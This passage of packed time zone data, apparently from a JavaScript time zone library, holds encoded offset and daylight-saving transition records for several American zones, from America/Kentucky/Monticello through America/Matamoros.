Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|","America/Kentucky/Monticello|LMT CST CDT CWT CPT EST EDT|5D.o 60 50 50 50 50 40|01212134121212121212121212121212121212121212121212121212121212121212121212565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565656565|-3tFG0 1nEe0 1nX0 11B0 1nX0 SgN0 8x30 iw0 SWp0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 s10 1Vz0 LB0 1BX0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11A0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|","America/La_Paz|LMT CMT BST -04|4w.A 4w.A 3w.A 40|0123|-3eLvr.o 1FIo0 13b0|19e5","America/Lima|LMT LMT -05 -04|58.c 58.A 50 40|01232323232323232|-3eLuP.M JcM0.o 1bDzP.o zX0 1aN0 1cL0 1cN0 1cL0 1PrB0 zX0 1O10 zX0 6Gp0 zX0 98p0 zX0|11e6","America/Los_Angeles|LMT PST PDT PWT PPT|7Q.W 80 70 70 70|0121213412121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121|-3tFE0 1nEe0 1nX0 11B0 1nX0 SgN0 8x10 iy0 5Wp1 1VaX 3dA0 WM0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1o00 11A0 1qM0 WM0 1qM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1a00 1fA0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 s10 1Vz0 LB0 1BX0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|15e6","America/Maceio|LMT -03 -02|2m.Q 30 20|012121212121212121212121212121212121212121|-2glxB.8 HdLB.8 1cc0 1e10 1bX0 Ezd0 So0 1vA0 Mn0 1BB0 ML0 1BB0 zX0 qe10 xb0 2ep0 nz0 1C10 zX0 1C10 LX0 1C10 Mn0 H210 Rb0 1tB0 IL0 1Fd0 FX0 1EN0 FX0 1HB0 Lz0 dMN0 Lz0 8Q10 WL0 1tB0 5z0 2mN0 On0|93e4","America/Managua|LMT MMT CST EST CDT|5J.8 5J.c 60 50 50|01232424232324242|-3eLue.Q 1Mhc0.4 1yAMe.M 4mn0 9Up0 Dz0 1K10 Dz0 s3F0 1KH0 DB0 9In0 k8p0 19X0 1o30 11y0|22e5","America/Manaus|LMT -04 -03|40.4 40 30|01212121212121212121212121212121|-2glvX.U HdKX.U 1cc0 1e10 1bX0 Ezd0 So0 1vA0 Mn0 1BB0 ML0 1BB0 zX0 qe10 xb0 2ep0 nz0 1C10 zX0 1C10 LX0 1C10 Mn0 H210 Rb0 1tB0 IL0 1Fd0 FX0 dPB0 On0|19e5","America/Martinique|LMT FFMT AST ADT|44.k 44.k 40 30|01232|-3eLvT.E PTA0 2LPbT.E 19X0|39e4","America/Matamoros|LMT CST CDT|6u 60 50|0121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121|-1UQG0 2FjC0 1nX0 i6p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 1fB0 WL0 1fB0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 U10 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 